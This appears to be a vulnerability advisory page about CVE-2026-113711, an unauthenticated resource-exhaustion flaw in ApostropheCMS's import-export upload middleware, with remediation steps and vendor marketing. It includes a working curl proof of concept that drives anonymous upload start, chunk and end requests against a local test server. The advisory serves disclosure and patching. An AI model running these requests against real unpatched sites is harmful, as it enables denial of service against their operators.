Summary
ApostropheCMS: Unauthenticated resource exhaustion via pre-auth aposBigUpload processing in @apostrophecms/import-export
A potential unauthenticated denial-of-service vulnerability exists in the chunked import upload path used by @apostrophecms/import-export.
The affected import API routes invoke:
self.apos.http.bigUploadMiddleware()
before the actual import handler performs its authentication check.
Because no authorize callback is supplied to bigUploadMiddleware(), unauthenticated requests can reach the aposBigUpload start, chunk, and end operations before the later req.user check rejects the import.
As a result, an unauthenticated remote attacker can create server-side upload state, write chunk data to upload storage, trigger temporary-file processing, and cause attacker-controlled cleanup operations before authentication is enforced.
Affected Component
Package:
@apostrophecms/import-export
Confirmed affected version:
3.6.2
Potential earlier affected versions:
The issue may affect earlier 3.x releases in which the current big-upload-based import implementation is present. I have not yet fully verified the exact introduction version and recommend that the maintainers confirm the affected version range.
Vulnerability Type
Primary:
CWE-400, Uncontrolled Resource Consumption
Related:
CWE-306, Missing Authentication for Critical Function
CWE-770, Allocation of Resources Without Limits or Throttling
Technical Details
The page import route registers the following middleware chain:
packages/import-export/modules/@apostrophecms/import-export-page/index.js
importExportImport: [
self.apos.http.bigUploadMiddleware(),
async (req) => {
return self.apos.modules['@apostrophecms/import-export']
.import(req, self.__meta.name);
}
]
No authorize callback is passed to bigUploadMiddleware().
The bigUploadMiddleware() implementation explicitly supports an authorize callback and performs that authorization before processing the aposBigUpload protocol when supplied.
Without that callback, requests containing:
aposBigUpload[type]=start
aposBigUpload[type]=chunk
or
aposBigUpload[type]=end
are processed immediately.
The actual authentication check occurs later in:
packages/import-export/lib/methods/import.js
async import(req, moduleName) {
if (!req.user) {
throw self.apos.error('forbidden');
}
This means authentication occurs only after the chunked-upload middleware has already performed server-side work.
Attack Flow
1. Start
An unauthenticated attacker submits an aposBigUpload[type]=start request.
The server generates an upload ID and stores attacker-supplied upload metadata, including the declared chunks count.
2. Chunk
The attacker can upload chunk data.
bigUploadChunk() copies attacker-controlled data into:
/big-uploads/<id>-<n>-<chunk>
3. End
The attacker sends an aposBigUpload[type]=end request.
bigUploadEnd() begins processing the upload and creates temporary files before invoking the downstream import handler.
Only after this processing completes does execution reach the later authentication check in import().
4. Cleanup amplification
The attacker-controlled chunks value is also used by bigUploadCleanupOne():
for (const { chunks } of Object.values(bigUpload.files)) {
for (let i = 0; (i < chunks); i++) {
await ufs.remove(...);
}
}
No small upper bound on the declared chunk count appears to be enforced at upload initialization.
This allows an unauthenticated attacker to increase the number of filesystem cleanup operations performed for an upload.
Proof of Concept
The following reproduction was performed only against an isolated test environment.
Start an upload without authentication
curl -s -X POST \
'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=start' \
-H 'Content-Type: application/json' \
--data '{"files":{"file":{"name":"evil.tar.gz","size":4,"type":"application/gzip","chunks":1}}}'
The server returns an upload ID despite the request having no authenticated session.
Upload a chunk
printf 'PWN!' >/tmp/chunk.bin
curl -s -X POST \
'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=chunk&aposBigUpload[id]=<ID>&aposBigUpload[n]=0&aposBigUpload[chunk]=0' \
-F 'chunk=@/tmp/chunk.bin;type=application/octet-stream'
The request succeeds and causes server-side upload storage to be used.
Finalize the upload
curl -i -X POST \
'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=end&aposBigUpload[id]=<ID>'
Observed behavior:
startreturns HTTP 200 and an upload ID without authentication.chunkreturns HTTP 200 and results in server-side chunk storage.endeventually reaches the downstream authentication check and is rejected.- However, the server-side big-upload processing has already occurred before that authentication rejection.
In my isolated harness:
chunks=1resulted in one cleanup removal attempt.chunks=50resulted in 50 cleanup removal attempts.
This demonstrates that the attacker-controlled chunk count directly influences server-side cleanup work.
Security Impact
The vulnerability allows an unauthenticated remote attacker to cause server-side storage and filesystem operations that should only be reachable by authorized import users.
Possible consequences include:
- Consumption of upload and temporary storage.
- Creation of server-side upload state by unauthenticated users.
- Repeated filesystem I/O.
- Cleanup amplification based on attacker-controlled chunk counts.
- Potential service degradation or denial of service when the attack is repeated or sufficiently amplified.
Root Cause
Authentication is enforced in the downstream import handler rather than before the chunked-upload middleware.
The middleware itself already supports an authorize callback specifically for preventing unauthorized use of the big-upload functionality.
Suggested Remediation
Require authentication before any aposBigUpload operation is processed.
For example:
- Pass an appropriate
authorizecallback tobigUploadMiddleware()on all import routes. - Reject unauthenticated users before
start,chunk, orend. - Enforce reasonable limits on declared chunk counts.
- Validate declared size against actual uploaded data.
- Introduce per-user and global storage/rate limits.
- Ensure temporary files are removed when downstream processing fails.
- Add regression tests confirming that anonymous
start,chunk, andendrequests are rejected before upload state or files are created.
Relevant reviewed commit:
d3ff8c9bb001be1acf7fdc3f035190250ac64b45
Researcher Credit
Kai Zhi
GitHub:
Impact
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-113711 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.33.0, 3.7.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
apostrophe to 4.33.0 or later; @apostrophecms/import-export to 3.7.0 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-113711? CVE-2026-113711 is a high-severity uncontrolled resource consumption vulnerability in apostrophe (npm), affecting versions < 4.33.0. It is fixed in 4.33.0, 3.7.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-113711? CVE-2026-113711 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-113711?
apostrophe(npm) (versions < 4.33.0)@apostrophecms/import-export(npm) (versions < 3.7.0)
- Is there a fix for CVE-2026-113711? Yes. CVE-2026-113711 is fixed in 4.33.0, 3.7.0. Upgrade to this version or later.
- Is CVE-2026-113711 exploitable, and should I be worried? Whether CVE-2026-113711 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-113711 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-113711?
- Upgrade
apostropheto 4.33.0 or later - Upgrade
@apostrophecms/import-exportto 3.7.0 or later
- Upgrade